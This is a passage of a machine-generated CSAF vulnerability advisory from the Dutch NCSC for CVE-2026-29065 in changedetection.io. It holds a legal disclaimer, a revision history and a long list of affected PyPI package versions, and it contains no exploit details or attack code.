{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-29065",
        "tracking": {
            "current_release_date": "2026-03-23T10:53:26.281733Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-29065",
            "initial_release_date": "2026-03-04T21:50:59.969508Z",
            "revision_history": [
                {
                    "date": "2026-03-04T21:50:59.969508Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-04T21:51:08.569005Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-05T00:35:47.346774Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (186).| Product Identifiers created (189).| Products created (4).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-05T00:36:03.283633Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-06T07:25:24.284780Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-06T07:25:30.644455Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-06T07:38:35.958116Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-06T07:39:43.600215Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-06T11:35:10.383143Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-06T14:52:23.005796Z",
                    "number": "10",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-06T14:52:32.758712Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-06T22:39:36.207630Z",
                    "number": "12",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-07T00:36:27.456343Z",
                    "number": "13",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-09T20:39:22.143912Z",
                    "number": "14",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-09T20:39:24.549396Z",
                    "number": "15",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-10T21:26:21.071075Z",
                    "number": "16",
                    "summary": "CVSS created.| Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-10T21:26:23.145404Z",
                    "number": "17",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:35:46.114565Z",
                    "number": "18",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T09:35:49.678222Z",
                    "number": "19",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "19"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<0.54.4",
                                "product": {
                                    "name": "vers:unknown/<0.54.4",
                                    "product_id": "CSAFPID-5778683",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:webtechnologies:changedetection:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "changedetection"
                    }
                ],
                "category": "vendor",
                "name": "webtechnologies"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.38.2",
                                "product": {
                                    "name": "vers:unknown/0.38.2",
                                    "product_id": "CSAFPID-5723136",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.38.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39",
                                "product": {
                                    "name": "vers:unknown/0.39",
                                    "product_id": "CSAFPID-5723137",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.1",
                                "product": {
                                    "name": "vers:unknown/0.39.1",
                                    "product_id": "CSAFPID-5723138",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.10",
                                "product": {
                                    "name": "vers:unknown/0.39.10",
                                    "product_id": "CSAFPID-5723139",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.10"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.10.post1",
                                "product": {
                                    "name": "vers:unknown/0.39.10.post1",
                                    "product_id": "CSAFPID-5723140",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.10.post1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.10.post2",
                                "product": {
                                    "name": "vers:unknown/0.39.10.post2",
                                    "product_id": "CSAFPID-5723141",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.10.post2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.11",
                                "product": {
                                    "name": "vers:unknown/0.39.11",
                                    "product_id": "CSAFPID-5723142",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.11"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.12",
                                "product": {
                                    "name": "vers:unknown/0.39.12",
                                    "product_id": "CSAFPID-5723143",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.12"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.13",
                                "product": {
                                    "name": "vers:unknown/0.39.13",
                                    "product_id": "CSAFPID-5723144",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.13"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.13.1",
                                "product": {
                                    "name": "vers:unknown/0.39.13.1",
                                    "product_id": "CSAFPID-5723145",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.13.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.14",
                                "product": {
                                    "name": "vers:unknown/0.39.14",
                                    "product_id": "CSAFPID-5723146",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.14"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.14.1",
                                "product": {
                                    "name": "vers:unknown/0.39.14.1",
                                    "product_id": "CSAFPID-5723147",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.14.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.15",
                                "product": {
                                    "name": "vers:unknown/0.39.15",
                                    "product_id": "CSAFPID-5723148",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.15"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.16",
                                "product": {
                                    "name": "vers:unknown/0.39.16",
                                    "product_id": "CSAFPID-5723149",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.16"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.17",
                                "product": {
                                    "name": "vers:unknown/0.39.17",
                                    "product_id": "CSAFPID-5723150",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.17"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.17.1",
                                "product": {
                                    "name": "vers:unknown/0.39.17.1",
                                    "product_id": "CSAFPID-5723151",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.17.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.17.2",
                                "product": {
                                    "name": "vers:unknown/0.39.17.2",
                                    "product_id": "CSAFPID-5723152",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.17.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.18",
                                "product": {
                                    "name": "vers:unknown/0.39.18",
                                    "product_id": "CSAFPID-5723153",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.18"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.19",
                                "product": {
                                    "name": "vers:unknown/0.39.19",
                                    "product_id": "CSAFPID-5723154",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.19"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.19.1",
                                "product": {
                                    "name": "vers:unknown/0.39.19.1",
                                    "product_id": "CSAFPID-5723155",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.19.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.2",
                                "product": {
                                    "name": "vers:unknown/0.39.2",
                                    "product_id": "CSAFPID-5723156",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.20",
                                "product": {
                                    "name": "vers:unknown/0.39.20",
                                    "product_id": "CSAFPID-5723157",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.20"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.20.1",
                                "product": {
                                    "name": "vers:unknown/0.39.20.1",
                                    "product_id": "CSAFPID-5723158",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.20.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.20.2",
                                "product": {
                                    "name": "vers:unknown/0.39.20.2",
                                    "product_id": "CSAFPID-5723159",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.20.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.20.3",
                                "product": {
                                    "name": "vers:unknown/0.39.20.3",
                                    "product_id": "CSAFPID-5723160",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.20.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.20.4",
                                "product": {
                                    "name": "vers:unknown/0.39.20.4",
                                    "product_id": "CSAFPID-5723161",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.20.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.21",
                                "product": {
                                    "name": "vers:unknown/0.39.21",
                                    "product_id": "CSAFPID-5723162",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.21"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.21.1",
                                "product": {
                                    "name": "vers:unknown/0.39.21.1",
                                    "product_id": "CSAFPID-5723163",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.21.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.22",
                                "product": {
                                    "name": "vers:unknown/0.39.22",
                                    "product_id": "CSAFPID-5723164",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.22"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.22.1",
                                "product": {
                                    "name": "vers:unknown/0.39.22.1",
                                    "product_id": "CSAFPID-5723165",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.22.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.3",
                                "product": {
                                    "name": "vers:unknown/0.39.3",
                                    "product_id": "CSAFPID-5723166",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.4",
                                "product": {
                                    "name": "vers:unknown/0.39.4",
                                    "product_id": "CSAFPID-5723167",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.5",
                                "product": {
                                    "name": "vers:unknown/0.39.5",
                                    "product_id": "CSAFPID-5723168",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.6",
                                "product": {
                                    "name": "vers:unknown/0.39.6",
                                    "product_id": "CSAFPID-5723169",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.7",
                                "product": {
                                    "name": "vers:unknown/0.39.7",
                                    "product_id": "CSAFPID-5723170",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.8",
                                "product": {
                                    "name": "vers:unknown/0.39.8",
                                    "product_id": "CSAFPID-5723171",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.39.9",
                                "product": {
                                    "name": "vers:unknown/0.39.9",
                                    "product_id": "CSAFPID-5723172",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.39.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.0",
                                "product": {
                                    "name": "vers:unknown/0.40.0",
                                    "product_id": "CSAFPID-5723173",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.0.1",
                                "product": {
                                    "name": "vers:unknown/0.40.0.1",
                                    "product_id": "CSAFPID-5723174",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.0.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.0.2",
                                "product": {
                                    "name": "vers:unknown/0.40.0.2",
                                    "product_id": "CSAFPID-5723175",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.0.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.0.3",
                                "product": {
                                    "name": "vers:unknown/0.40.0.3",
                                    "product_id": "CSAFPID-5723176",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.0.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.0.4",
                                "product": {
                                    "name": "vers:unknown/0.40.0.4",
                                    "product_id": "CSAFPID-5723177",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.0.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.1.0",
                                "product": {
                                    "name": "vers:unknown/0.40.1.0",
                                    "product_id": "CSAFPID-5723178",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.1.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.1.1",
                                "product": {
                                    "name": "vers:unknown/0.40.1.1",
                                    "product_id": "CSAFPID-5723179",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.1.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.2",
                                "product": {
                                    "name": "vers:unknown/0.40.2",
                                    "product_id": "CSAFPID-5723180",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.40.3",
                                "product": {
                                    "name": "vers:unknown/0.40.3",
                                    "product_id": "CSAFPID-5723181",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.40.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.41",
                                "product": {
                                    "name": "vers:unknown/0.41",
                                    "product_id": "CSAFPID-5723182",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.41"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.41.1",
                                "product": {
                                    "name": "vers:unknown/0.41.1",
                                    "product_id": "CSAFPID-5723183",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.41.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.42",
                                "product": {
                                    "name": "vers:unknown/0.42",
                                    "product_id": "CSAFPID-5723184",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.42"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.42.1",
                                "product": {
                                    "name": "vers:unknown/0.42.1",
                                    "product_id": "CSAFPID-5723185",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.42.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.42.2",
                                "product": {
                                    "name": "vers:unknown/0.42.2",
                                    "product_id": "CSAFPID-5723186",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.42.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.42.3",
                                "product": {
                                    "name": "vers:unknown/0.42.3",
                                    "product_id": "CSAFPID-5723187",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.42.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.43.1",
                                "product": {
                                    "name": "vers:unknown/0.43.1",
                                    "product_id": "CSAFPID-5723188",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.43.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.43.2",
                                "product": {
                                    "name": "vers:unknown/0.43.2",
                                    "product_id": "CSAFPID-5723189",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.43.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.44",
                                "product": {
                                    "name": "vers:unknown/0.44",
                                    "product_id": "CSAFPID-5723190",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.44"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.44.1",
                                "product": {
                                    "name": "vers:unknown/0.44.1",
                                    "product_id": "CSAFPID-5723191",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.44.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45",
                                "product": {
                                    "name": "vers:unknown/0.45",
                                    "product_id": "CSAFPID-5723192",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.1",
                                "product": {
                                    "name": "vers:unknown/0.45.1",
                                    "product_id": "CSAFPID-5723193",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.11",
                                "product": {
                                    "name": "vers:unknown/0.45.11",
                                    "product_id": "CSAFPID-5723194",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.11"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.12",
                                "product": {
                                    "name": "vers:unknown/0.45.12",
                                    "product_id": "CSAFPID-5723195",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.12"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.13",
                                "product": {
                                    "name": "vers:unknown/0.45.13",
                                    "product_id": "CSAFPID-5723196",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.13"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.14",
                                "product": {
                                    "name": "vers:unknown/0.45.14",
                                    "product_id": "CSAFPID-5723197",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.14"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.15",
                                "product": {
                                    "name": "vers:unknown/0.45.15",
                                    "product_id": "CSAFPID-5723198",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.15"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.16",
                                "product": {
                                    "name": "vers:unknown/0.45.16",
                                    "product_id": "CSAFPID-5723199",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.16"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.17",
                                "product": {
                                    "name": "vers:unknown/0.45.17",
                                    "product_id": "CSAFPID-5723200",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.17"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.18",
                                "product": {
                                    "name": "vers:unknown/0.45.18",
                                    "product_id": "CSAFPID-5723201",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.18"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.19",
                                "product": {
                                    "name": "vers:unknown/0.45.19",
                                    "product_id": "CSAFPID-5723202",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.19"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.2",
                                "product": {
                                    "name": "vers:unknown/0.45.2",
                                    "product_id": "CSAFPID-5723203",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.20",
                                "product": {
                                    "name": "vers:unknown/0.45.20",
                                    "product_id": "CSAFPID-5723204",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.20"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.21",
                                "product": {
                                    "name": "vers:unknown/0.45.21",
                                    "product_id": "CSAFPID-5723205",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.21"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.22",
                                "product": {
                                    "name": "vers:unknown/0.45.22",
                                    "product_id": "CSAFPID-5723206",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.22"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.23",
                                "product": {
                                    "name": "vers:unknown/0.45.23",
                                    "product_id": "CSAFPID-5723207",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.23"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.24",
                                "product": {
                                    "name": "vers:unknown/0.45.24",
                                    "product_id": "CSAFPID-5723208",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.24"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.25",
                                "product": {
                                    "name": "vers:unknown/0.45.25",
                                    "product_id": "CSAFPID-5723209",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.25"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.26",
                                "product": {
                                    "name": "vers:unknown/0.45.26",
                                    "product_id": "CSAFPID-5723210",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.26"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.3",
                                "product": {
                                    "name": "vers:unknown/0.45.3",
                                    "product_id": "CSAFPID-5723211",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.4",
                                "product": {
                                    "name": "vers:unknown/0.45.4",
                                    "product_id": "CSAFPID-5723212",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.5",
                                "product": {
                                    "name": "vers:unknown/0.45.5",
                                    "product_id": "CSAFPID-5723213",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.6",
                                "product": {
                                    "name": "vers:unknown/0.45.6",
                                    "product_id": "CSAFPID-5723214",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.7",
                                "product": {
                                    "name": "vers:unknown/0.45.7",
                                    "product_id": "CSAFPID-5723215",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.7.1",
                                "product": {
                                    "name": "vers:unknown/0.45.7.1",
                                    "product_id": "CSAFPID-5723216",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.7.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.7.2",
                                "product": {
                                    "name": "vers:unknown/0.45.7.2",
                                    "product_id": "CSAFPID-5723217",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.7.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.7.3",
                                "product": {
                                    "name": "vers:unknown/0.45.7.3",
                                    "product_id": "CSAFPID-5723218",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.7.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.8",
                                "product": {
                                    "name": "vers:unknown/0.45.8",
                                    "product_id": "CSAFPID-5723219",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.8.1",
                                "product": {
                                    "name": "vers:unknown/0.45.8.1",
                                    "product_id": "CSAFPID-5723220",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.8.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.45.9",
                                "product": {
                                    "name": "vers:unknown/0.45.9",
                                    "product_id": "CSAFPID-5723221",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.45.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.46.0",
                                "product": {
